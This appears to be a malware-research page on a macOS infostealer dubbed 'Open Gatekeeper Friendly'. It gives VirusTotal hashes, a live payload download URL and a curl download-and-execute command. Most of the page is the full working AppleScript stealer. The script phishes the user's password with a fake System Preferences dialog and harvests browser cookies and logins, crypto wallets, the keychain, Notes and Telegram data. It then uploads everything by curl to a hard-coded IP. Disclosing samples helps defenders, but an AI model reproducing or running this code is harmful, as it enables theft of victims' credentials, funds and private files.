"Open Gatekeeper Friendly" Malware Behavior and Samples
This page contains malware samples/code for research purposes, do not execute anything outside of a controlled environment!
Overview
See the main page for an overview of this macOS infostealer malware plus a list of known infected releases.
Exfiltration Servers
Remote Payload Servers
"Open Gatekeeper Friendly" binary scans on VirusTotal
4bab216dadd5b1431717f1a5147c29bcfea636044946a05fb675da78b8523632
[VirusTotal]
a6821d95007d2877cd66e0044d21d9052747b2a4e47edbd3b48cbb75d990d3ce
[VirusTotal]
dd7dbbb66ff8453aff457e8ae74c9b0e1987c6106d2ad3f58435d7af5d49dc09
[VirusTotal]
3120e8bad3dec99d34ee0fdc0df76fe8c3da71544b38fa6bbb24a123374d3dea
[VirusTotal]
d80b443ae39b4bc7e767f1f8ab4846dd65b874ac59ec483e3858b9c805473f54
[VirusTotal]
864d183968a47b01f099a3e6be956833ff720c0473bd46b61174401bea07dbbd
[VirusTotal]
a4d29aa32fbec60fcdba47515c6d39dac9a6a880edd454dccf10006df2b3bca8
[VirusTotal]
736afa6e409219cf79910b5f5101a76da563453aee74f0d38371ee376546b85f
[VirusTotal]
5d5f04445e80db9841c9e78bee1a81a89c71cba47e053853fdedf29fd66d8437
[VirusTotal]
1e39d447b073d4f95a6949d18bdc8580facaa28b0b7a2085adf0724899750905
[VirusTotal]
54c6600f76f291e4455716beacd6516866d005a38ce4ef966e3080aa03ea2d0f
[VirusTotal]
15b8627fb6d34403056b8c30393a2b7e16c85546acd75aa52375818f47647b9c
[VirusTotal]
6be9ef2aa180560b63588c0caf19ec36a35e05776396d835c6faca6624908c8f
[VirusTotal]
a8e772f4e98fc7038de48c9a8ebf74b0d192c550503710a762f5aa68167402f8
[VirusTotal]
f2ca9f8e5f8b3a3b5ba6d6c7cef3e048e3638c0ba14c97787111be66f74d292f
[VirusTotal]
841d76ddcb9460c32e0238aaab24100747375612733ac5634c8e03af56b4e990
[VirusTotal]
0f1317f82cd35ab6ec90065b4a6c071665ac3031827e6a3ccc3abe7606f430a6
[VirusTotal]
c0ad0f9cccd9db5a374f626cbef7ca169e20ecd53010823c7ce57fdd356f383d
[VirusTotal]
7c5ccd13f9d7815defff28a1b9dffc89c823465a4e478f0e57cf5c6705f0095b
[VirusTotal]
6e97b23d16aa4aa25d0cfaf9e40fae87e99e0ffe1153830195d08cff26311ce6
[VirusTotal]
ae74c18f5a03ff6645bdc264d45d2831120b9068c6be6e867da3d08cc319d5f0
[VirusTotal]
8169d6a6d8a02be8dcfcffcdfe5a93b7eb1191d8aac7146a53855dc8e5869913
[VirusTotal]
9b500839cfcdefff92257edb6e148d2d3860ab8453b5c8c0114ea0278bed5c96
[VirusTotal]
OGF "update" payload scans on VirusTotal
bef42ce20a0a8954137c36a930adb40d452179729ba546e5baf0414234d3421a
[VirusTotal]
efd545c5195bf73e3c7e7e54068c622d3961d56cd177c44bcd5721ee131df08a
[VirusTotal]
e751591cf46159bb61a7b9237ef93ec181f9609d06fc0dc0522016d6c60e9629
[VirusTotal]
f6d411e35f29097b4873b662574f29cc0157ad1523400b88e49e81ad5cdaf595
[VirusTotal]
ea6e7458e4e72cd006fae9c40e9edf06272e0ea41fcc2d4cbcf4a1720bc13775
[VirusTotal]
0c95b2b99789ca29f0b3ce3674ecfd7a3fdca36ff57060e7c7a0cb10f120bcac
[VirusTotal]
7e5751ca3b8a9a0e747fcab8665a5c98a73bd20214fdf23c8914cc81f6877fc7
[VirusTotal]
2ce574b3c03b2562b4f2303b5e7a4f262868913d01957689f2fdf40a3ab352f1
[VirusTotal]
Shout out Elastic Security and ESET for initially being the only ones to detect the payload.
Samples
The following link contains malware samples for research purposes, do not execute anything outside of a controlled environment!
Payload samples can downloaded directly from the source here: https://rgueapp.com/ww/update
Malicious Command Examples
The following code is malicious and is for research purposes, do not execute anything outside of a controlled environment!
In an attempt to evade scans from various sandboxes, more recent payloads include the following command
One variant of the malware downloads a malicious payload from a remote server rather than the OGF binary containing the code itself
/bin/bash sh -c curl -o /tmp/update https://rgueapp.com/ww/update && xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update
Hiding the Terminal window
tell application "Terminal" to set visible of the front window to false
Generating a random directory in the /tmp directory
set randomNumber to do shell script "echo $((RANDOM % 9000 + 1000))"
set writemind to "/tmp/" & randomNumber & "/"
Recursively grab files and directories
Grab Chromium extension data
Grabbing FireFox data
Check user/password
The full osascript command can be seen below -- different binary builds may have slightly different formats of this
/bin/bash sh -c osascript -e 'set release to trueset filegrabbers to trueif release thentrytell window 1 of application 'Terminal' to set visible to falseend tryend ifon filesizer(paths)set fsz to 0tryset theItem to quoted form of POSIX path of pathsset fsz to (do shell script '/usr/bin/mdls -name kMDItemFSSize -raw ' & theItem)end tryreturn fszend filesizeron mkdir(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)do shell script 'mkdir -p ' & filePosixPathend tryend mkdiron FileName(filePath)tryset reversedPath to (reverse of every character of filePath) as stringset trimmedPath to text 1 thru ((offset of '/' in reversedPath) - 1) of reversedPathset finalPath to (reverse of every character of trimmedPath) as stringreturn finalPathend tryend FileNameon BeforeFileName(filePath)tryset lastSlash to offset of '/' in (reverse of every character of filePath) as stringset trimmedPath to text 1 thru -(lastSlash + 1) of filePathreturn trimmedPathend tryend BeforeFileNameon writeText(textToWrite, filePath)tryset folderPath to BeforeFileName(filePath)mkdir(folderPath)set fileRef to (open for access filePath with write permission)write textToWrite to fileRef starting at eofclose access fileRefend tryend writeTexton readwrite(path_to_file, path_as_save)tryset fileContent to read path_to_fileset folderPath to BeforeFileName(path_as_save)mkdir(folderPath)do shell script 'cat ' & quoted form of path_to_file & ' > ' & quoted form of path_as_saveend tryend readwriteon readwrite2(path_to_file, path_as_save)tryset folderPath to do shell script 'dirname ' & quoted form of path_as_savemkdir(folderPath)tell application 'Finder' set sourceFile to POSIX file path_to_file as alias set destinationFolder to POSIX file folderPath as alias duplicate sourceFile to destinationFolder with replacingend tellend tryend readwrite2on isDirectory(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)set fileType to (do shell script 'file -b ' & filePosixPath)if fileType ends with 'directory' thenreturn trueend ifreturn falseend tryend isDirectoryon GrabFolderLimit(sourceFolder, destinationFolder)tryset bankSize to 0set exceptionsList to {'.DS_Store', 'Partitions', 'Code Cache', 'Cache', 'market-history-cache.json', 'journals', 'Previews'}set fileList to list folder sourceFolder without invisiblesmkdir(destinationFolder)repeat with currentItem in fileListif currentItem is not in exceptionsList thenset itemPath to sourceFolder & '/' & currentItemset savePath to destinationFolder & '/' & currentItemif isDirectory(itemPath) thenGrabFolderLimit(itemPath, savePath)elseset fsz to filesizer(itemPath)set bankSize to bankSize + fszif bankSize < 10 * 1024 * 1024 thenreadwrite(itemPath, savePath)end ifend ifend ifend repeatend tryend GrabFolderLimiton GrabFolder(sourceFolder, destinationFolder)tryset exceptionsList to {'.DS_Store', 'Partitions', 'Code Cache', 'Cache', 'market-history-cache.json', 'journals', 'Previews', 'dumps', 'emoji', 'user_data', '__update__', 'user_data#2', 'user_data#3'}set fileList to list folder sourceFolder without invisiblesmkdir(destinationFolder)repeat with currentItem in fileListif currentItem is not in exceptionsList thenset itemPath to sourceFolder & '/' & currentItemset savePath to destinationFolder & '/' & currentItemif isDirectory(itemPath) thenGrabFolder(itemPath, savePath)elsereadwrite(itemPath, savePath)end ifend ifend repeatend tryend GrabFolderon parseFF(firefox, writemind)tryset myFiles to {'/cookies.sqlite', '/formhistory.sqlite', '/key4.db', '/logins.json'}set fileList to list folder firefox without invisiblesrepeat with currentItem in fileListset fpath to writemind & 'ff/' & currentItemset readpath to firefox & currentItemrepeat with FFile in myFilesreadwrite(readpath & FFile, fpath & FFile)end repeatend repeatend tryend parseFFon checkvalid(username, password_entered)tryset result to do shell script 'dscl . authonly ' & quoted form of username & space & quoted form of password_enteredif result is not equal to '' thenreturn falseelsereturn trueend ifon errorreturn falseend tryend checkvalidon getpwd(username, writemind)tryif checkvalid(username, '') thenset result to do shell script 'security 2>&1 > /dev/null find-generic-password -ga \'Chrome\' | awk \'{print $2}\''writeText(result as string, writemind & 'masterpass-chrome')elserepeatset result to display dialog 'Required Application Helper.\nPlease enter password for continue.' default answer '' with icon caution buttons {'Continue'} default button 'Continue' giving up after 150 with title 'System Preferences' with hidden answerset password_entered to text returned of resultif checkvalid(username, password_entered) thenwriteText(password_entered, writemind & 'pwd')return password_enteredend ifend repeatend ifend tryreturn ''end getpwdon grabPlugins(paths, savePath, pluginList, index)tryset fileList to list folder paths without invisiblesrepeat with PFile in fileListrepeat with Plugin in pluginListif (PFile contains Plugin) thenset newpath to paths & PFileset newsavepath to savePath & '/' & Pluginif index thenset newsavepath to newsavepath & '/IndexedDB/'end ifGrabFolder(newpath, newsavepath)end ifend repeatend repeatend tryend grabPluginson chromium(writemind, chromium_map)set pluginList to {'keenhcnmdmjjhincpilijphpiohdppno', 'hbbgbephgojikajhfbomhlmmollphcad', 'cjmkndjhnagcfbpiemnkdpomccnjblmj', 'dhgnlgphgchebgoemcjekedjjbifijid', 'hifafgmccdpekplomjjkcfgodnhcellj', 'kamfleanhcmjelnhaeljonilnmjpkcjc', 'jnldfbidonfeldmalbflbmlebbipcnle', 'fdcnegogpncmfejlfnffnofpngdiejii', 'klnaejjgbibmhlephnhpmaofohgkpgkd', 'pdadjkfkgcafgbceimcpbkalnfnepbnk', 'kjjebdkfeagdoogagbhepmbimaphnfln', 'ldinpeekobnhjjdofggfgjlcehhmanlj', 'dkdedlpgdmmkkfjabffeganieamfklkm', 'bcopgchhojmggmffilplmbdicgaihlkp', 'kpfchfdkjhcoekhdldggegebfakaaiog', 'idnnbdplmphpflfnlkomgpfbpcgelopg', 'mlhakagmgkmonhdonhkpjeebfphligng', 'bipdhagncpgaccgdbddmbpcabgjikfkn', 'gcbjmdjijjpffkpbgdkaojpmaninaion', 'nhnkbkgjikgcigadomkphalanndcapjk', 'bhhhlbepdkbapadjdnnojkbgioiodbic', 'hoighigmnhgkkdaenafgnefkcmipfjon', 'klghhnkeealcohjjanjjdaeeggmfmlpl', 'nkbihfbeogaeaoehlefnkodbefgpgknn', 'fhbohimaelbohpjbbldcngcnapndodjp', 'ebfidpplhabeedpnhjnobghokpiioolj', 'emeeapjkbcbpbpgaagfchmcgglmebnen', 'fldfpgipfncgndfolcbkdeeknbbbnhcc', 'penjlddjkjgpnkllboccdgccekpkcbin', 'fhilaheimglignddkjgofkcbgekhenbh', 'hmeobnfnfcmdkdcmlblgagmfpfboieaf', 'cihmoadaighcejopammfbmddcmdekcje', 'lodccjjbdhfakaekdiahmedfbieldgik', 'omaabbefbmiijedngplfjmnooppbclkk', 'cjelfplplebdjjenllpjcblmjkfcffne', 'jnlgamecbpmbajjfhmmmlhejkemejdma', 'fpkhgmpbidmiogeglndfbkegfdlnajnf', 'bifidjkcdpgfnlbcjpdkdcnbiooooblg', 'amkmjjmmflddogmhpjloimipbofnfjih', 'flpiciilemghbmfalicajoolhkkenfel', 'hcflpincpppdclinealmandijcmnkbgn', 'aeachknmefphepccionboohckonoeemg', 'nlobpakggmbcgdbpjpnagmdbdhdhgphk', 'momakdpclmaphlamgjcndbgfckjfpemp', 'mnfifefkajgofkcjkemidiaecocnkjeh', 'fnnegphlobjdpkhecapkijjdkgcjhkib', 'ehjiblpccbknkgimiflboggcffmpphhp', 'ilhaljfiglknggcoegeknjghdgampffk', 'pgiaagfkgcbnmiiolekcfmljdagdhlcm', 'fnjhmkhhmkbjkkabndcnnogagogbneec', 'bfnaelmomeimhlpmgjnjophhpkkoljpa', 'imlcamfeniaidioeflifonfjeeppblda', 'mdjmfdffdcmnoblignmgpommbefadffd', 'ooiepdgjjnhcmlaobfinbomgebfgablh', 'pcndjhkinnkaohffealmlmhaepkpmgkb', 'ppdadbejkmjnefldpcdjhnkpbjkikoip', 'cgeeodpfagjceefieflmdfphplkenlfk', 'dlcobpjiigpikoobohmabehhmhfoodbb', 'jiidiaalihmmhddjgbnbgdfflelocpak', 'bocpokimicclpaiekenaeelehdjllofo', 'pocmplpaccanhmnllbbkpgfliimjljgo', 'cphhlgmgameodnhkjdmkpanlelnlohao', 'mcohilncbfahbmgdjkbpemcciiolgcge', 'bopcbmipnjdcdfflfgjdgdjejmgpoaab', 'khpkpbbcccdmmclmpigdgddabeilkdpd', 'ejjladinnckdgjemekebdpeokbikhfci', 'phkbamefinggmakgklpkljjmgibohnba', 'epapihdplajcdnnkdeiahlgigofloibg', 'hpclkefagolihohboafpheddmmgdffjm', 'cjookpbkjnpkmknedggeecikaponcalb', 'cpmkedoipcpimgecpmgpldfpohjplkpp', 'modjfdjcodmehnpccdjngmdfajggaoeh', 'ibnejdfjmmkpcnlpebklmnkoeoihofec', 'afbcbjpbpfadlkmhmclhkeeodmamcflc', 'kncchdigobghenbbaddojjnnaogfppfj', 'efbglgofoippbgcjepnhiblaibcnclgk', 'mcbigmjiafegjnnogedioegffbooigli', 'fccgmnglbhajioalokbcidhcaikhlcpm', 'hnhobjmcibchnmglfbldbfabcgaknlkj', 'apnehcjmnengpnmccpaibjmhhoadaico', 'enabgbdfcbaehmbigakijjabdpdnimlg', 'mgffkfbidihjpoaomajlbgchddlicgpn', 'fopmedgnkfpebgllppeddmmochcookhc', 'jojhfeoedkpkglbfimdfabpdfjaoolaf', 'ammjlinfekkoockogfhdkgcohjlbhmff', 'abkahkcbhngaebpcgfmhkoioedceoigp', 'dcbjpgbkjoomeenajdabiicabjljlnfp', 'gkeelndblnomfmjnophbhfhcjbcnemka', 'pnndplcbkakcplkjnolgbkdgjikjednm', 'copjnifcecdedocejpaapepagaodgpbh', 'hgbeiipamcgbdjhfflifkgehomnmglgk', 'mkchoaaiifodcflmbaphdgeidocajadp', 'ellkdbaphhldpeajbepobaecooaoafpg', 'mdnaglckomeedfbogeajfajofmfgpoae', 'nknhiehlklippafakaeklbeglecifhad', 'ckklhkaabbmdjkahiaaplikpdddkenic', 'fmblappgoiilbgafhjklehhfifbdocee', 'nphplpgoakhhjchkkhmiggakijnkhfnd', 'cnmamaachppnkjgnildpdmkaakejnhae', 'fijngjgcjhjmmpcmkeiomlglpeiijkld', 'niiaamnmgebpeejeemoifgdndgeaekhe', 'odpnjmimokcmjgojhnhfcnalnegdjmdn', 'lbjapbcmmceacocpimbpbidpgmlmoaao', 'hnfanknocfeofbddgcijnmhnfnkdnaad', 'hpglfhgfnhbgpjdenjgmdgoeiappafln', 'egjidjbpglichdcondbcbdnbeeppgdph', 'ibljocddagjghmlpgihahamcghfggcjc', 'gkodhkbmiflnmkipcmlhhgadebbeijhh', 'dbgnhckhnppddckangcjbkjnlddbjkna', 'mfhbebgoclkghebffdldpobeajmbecfk', 'nlbmnnijcnlegkjjpcfjclmcfggfefdm', 'nlgbhdfgdhgbiamfdfmbikcdghidoadd', 'acmacodkjbdgmoleebolmdjonilkdbch', 'agoakfejjabomempkjlepdflaleeobhb', 'dgiehkgfknklegdhekgeabnhgfjhbajd', 'onhogfjeacnfoofkfgppdlbmlmnplgbn', 'kkpehldckknjffeakihjajcjccmcjflh', 'jaooiolkmfcmloonphpiiogkfckgciom', 'ojggmchlghnjlapmfbnjholfjkiidbch', 'pmmnimefaichbcnbndcfpaagbepnjaig', 'oiohdnannmknmdlddkdejbmplhbdcbee', 'aiifbnbfobpmeekipheeijimdpnlpgpp', 'aholpfdialjgjfhomihkjbmgjidlcdno', 'anokgmphncpekkhclmingpimjmcooifb', 'kkpllkodjeloidieedojogacfhpaihoh', 'iokeahhehimjnekafflcihljlcjccdbe', 'ifckdpamphokdglkkdomedpdegcjhjdp', 'loinekcabhlmhjjbocijdoimmejangoa', 'fcfcfllfndlomdhbehjjcoimbgofdncg', 'ifclboecfhkjbpmhgehodcjpciihhmif', 'dmkamcknogkgcdfhhbddcghachkejeap', 'ookjlbkiijinhpmnjffcofjonbfbgaoc', 'oafedfoadhdjjcipmcbecikgokpaphjk', 'mapbhaebnddapnmifbbkgeedkeplgjmf', 'cmndjbecilbocjfkibfbifhngkdmjgog', 'kpfopkelmapcoipemfendmdcghnegimn', 'lgmpcpglpngdoalbgeoldeajfclnhafa', 'ppbibelpcjmhbdihakflkdcoccbgbkpo', 'ffnbelfdoeiohenkjibnmadjiehjhajb', 'opcgpfmipidbgpenhmajoajpbobppdil', 'lakggbcodlaclcbbbepmkpdhbcomcgkd', 'kgdijkcfiglijhaglibaidbipiejjfdp', 'hdkobeeifhdplocklknbnejdelgagbao', 'lnnnmfcpbkafcpgdilckhmhbkkbpkmid', 'nbdhibgjnjpnkajaghbffjbkcgljfgdi', 'kmhcihpebfmpgmihbkipmjlmmioameka', 'kmphdnilpmdejikjdnlbcnmnabepfgkh', 'nngceckbapebfimnlniiiahkandclblb'}set chromiumFiles to {'/Network/Cookies', '/Cookies', '/Web Data', '/Login Data', '/Local Extension Settings/', '/IndexedDB/'}repeat with chromium in chromium_mapset savePath to writemind & 'Chromium/' & item 1 of chromium & '_'tryset fileList to list folder item 2 of chromium without invisiblesrepeat with currentItem in fileListif ((currentItem as string) is equal to 'Default') or ((currentItem as string) contains 'Profile') thenrepeat with CFile in chromiumFilesset readpath to (item 2 of chromium & currentItem & CFile)if ((CFile as string) is equal to '/Network/Cookies') thenset CFile to '/Cookies'end ifif ((CFile as string) is equal to '/Local Extension Settings/') thengrabPlugins(readpath, savePath & currentItem, pluginList, false)else if (CFile as string) is equal to '/IndexedDB/' thengrabPlugins(readpath, savePath & currentItem, pluginList, true)elseset writepath to savePath & currentItem & CFilereadwrite(readpath, writepath)end ifend repeatend ifend repeatend tryend repeatend chromiumon telegram(writemind, library)tryGrabFolder(library & 'Telegram Desktop/tdata/', writemind & 'Telegram Data/')end tryend telegramon deskwallets(writemind, deskwals)repeat with deskwal in deskwalstryGrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)end tryend repeatend deskwalletson filegrabber(writemind)tryset destinationFolderPath to POSIX file (writemind & 'FileGrabber/')mkdir(destinationFolderPath)set photosPath to POSIX file (writemind & 'FileGrabber/NotesFiles/')mkdir(photosPath)set extensionsList to {'txt', 'pdf', 'docx', 'wallet', 'key', 'keys', 'doc'}set bankSize to 0tell application 'Finder'tryset safariFolderPath to (path to home folder as text) & 'Library:Cookies:'duplicate file (safariFolderPath & 'Cookies.binarycookies') to folder destinationFolderPath with replacingset name of result to 'saf1'end trytryset safariFolder to ((path to library folder from user domain as text) & 'Containers:com.apple.Safari:Data:Library:Cookies:')tryduplicate file 'Cookies.binarycookies' of folder safariFolder to folder destinationFolderPath with replacingend tryset notesFolderPath to (path to home folder as text) & 'Library:Group Containers:group.com.apple.notes:'set notesAccounts to folder (notesFolderPath & 'Accounts:LocalAccount:Media')duplicate notesAccounts to photosPath with replacingduplicate notesAccounts to POSIX file photosPath as alias with replacingset notesFolder to folder notesFolderPathset notesFiles to {'NoteStore.sqlite', 'NoteStore.sqlite-shm', 'NoteStore.sqlite-wal'}repeat with fileName in notesFilesset sourceFile to file fileName of notesFolderduplicate sourceFile to POSIX file destinationFolderPath as alias with replacingend repeatend trytryset desktopFiles to every file of desktopset documentsFiles to every file of folder 'Documents' of (path to home folder)set downloadsFiles to every file of folder 'Downloads' of (path to home folder)repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)set fileExtension to name extension of aFileif fileExtension is in extensionsList thenset filesize to size of aFileif filesize < 3 * 1024 * 1024 thenif (bankSize + filesize) < 30 * 1024 * 1024 thentryduplicate aFile to folder destinationFolderPath with replacingset bankSize to bankSize + filesizeend tryelseexit repeatend ifend ifend ifend repeatend tryend tellend tryend filegrabberon send_data(attempt) try set result_send to (do shell script 'curl -X POST -H \'user: jI563QPXBRgxmhcQ1YV1wFyYmwEgAvWbwyq2s7T89gw=\' -H \'BuildID: PlTF9QdM8LO0ytq-Z8pzcKyEo-Ry2nSmB0VhDY0iOek=\' -H \'cl: 0\' -H \'cn: 0\' --max-time 300 -retry 5 -retry-delay 10 -F \'file=@/tmp/out.zip\' http://82.115.223.9/contact') on error if attempt < 40 then delay 3 send_data(attempt + 1) end if end tryend send_dataset username to (system attribute 'USER')set profile to '/Users/' & usernameset randomNumber to do shell script 'echo $((RANDOM % 9000 + 1000))'set writemind to '/tmp/' & randomNumber & '/'tryset result to (do shell script 'system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType')writeText(result, writemind & 'info')end tryset library to profile & '/Library/Application Support/'set password_entered to getpwd(username, writemind)delay 0.01set chromiumMap to {{'Chrome', library & 'Google/Chrome/'}, {'Brave', library & 'BraveSoftware/Brave-Browser/'}, {'Edge', library & 'Microsoft Edge/'}, {'Vivaldi', library & 'Vivaldi/'}, {'Opera', library & 'com.operasoftware.Opera/'}, {'OperaGX', library & 'com.operasoftware.OperaGX/'}, {'Chrome Beta', library & 'Google/Chrome Beta/'}, {'Chrome Canary', library & 'Google/Chrome Canary'}, {'Chromium', library & 'Chromium/'}, {'Chrome Dev', library & 'Google/Chrome Dev/'}, {'Arc', library & 'Arc/'}, {'Coccoc', library & 'Coccoc/'}}set walletMap to {{'deskwallets/Electrum', profile & '/.electrum/wallets/'}, {'deskwallets/Coinomi', library & 'Coinomi/wallets/'}, {'deskwallets/Exodus', library & 'Exodus/'}, {'deskwallets/Atomic', library & 'atomic/Local Storage/leveldb/'}, {'deskwallets/Wasabi', profile & '/.walletwasabi/client/Wallets/'}, {'deskwallets/Ledger_Live', library & 'Ledger Live/'}, {'deskwallets/Monero', profile & '/Monero/wallets/'}, {'deskwallets/Bitcoin_Core', library & 'Bitcoin/wallets/'}, {'deskwallets/Litecoin_Core', library & 'Litecoin/wallets/'}, {'deskwallets/Dash_Core', library & 'DashCore/wallets/'}, {'deskwallets/Electrum_LTC', profile & '/.electrum-ltc/wallets/'}, {'deskwallets/Electron_Cash', profile & '/.electron-cash/wallets/'}, {'deskwallets/Guarda', library & 'Guarda/'}, {'deskwallets/Dogecoin_Core', library & 'Dogecoin/wallets/'}, {'deskwallets/Trezor_Suite', library & '@trezor/suite-desktop/'}}readwrite(library & 'Binance/app-store.json', writemind & 'deskwallets/Binance/app-store.json')readwrite(library & '@tonkeeper/desktop/config.json', 'deskwallets/TonKeeper/config.json')readwrite(profile & '/Library/Keychains/login.keychain-db', writemind & 'keychain')if release thenreadwrite2(profile & '/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite', writemind & 'FileGrabber/NoteStore.sqlite')readwrite2(profile & '/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal', writemind & 'FileGrabber/NoteStore.sqlite-wal')readwrite2(profile & '/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm', writemind & 'FileGrabber/NoteStore.sqlite-shm')readwrite2(profile & '/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies', writemind & 'FileGrabber/Cookies.binarycookies')readwrite(profile & '/Library/Cookies/Cookies.binarycookies', writemind & 'FileGrabber/saf1')end ifif filegrabbers thenfilegrabber(writemind)end ifwriteText(username, writemind & 'username')set ff_paths to {library & 'Firefox/Profiles/', library & 'Waterfox/Profiles/', library & 'Pale Moon/Profiles/'}repeat with firefox in ff_pathstryparseFF(firefox, writemind)end tryend repeatchromium(writemind, chromiumMap)deskwallets(writemind, walletMap)telegram(writemind, library)do shell script 'ditto -c -k --sequesterRsrc ' & writemind & ' /tmp/out.zip'send_data(0)do shell script 'rm -r ' & writeminddo shell script 'rm /tmp/out.zip'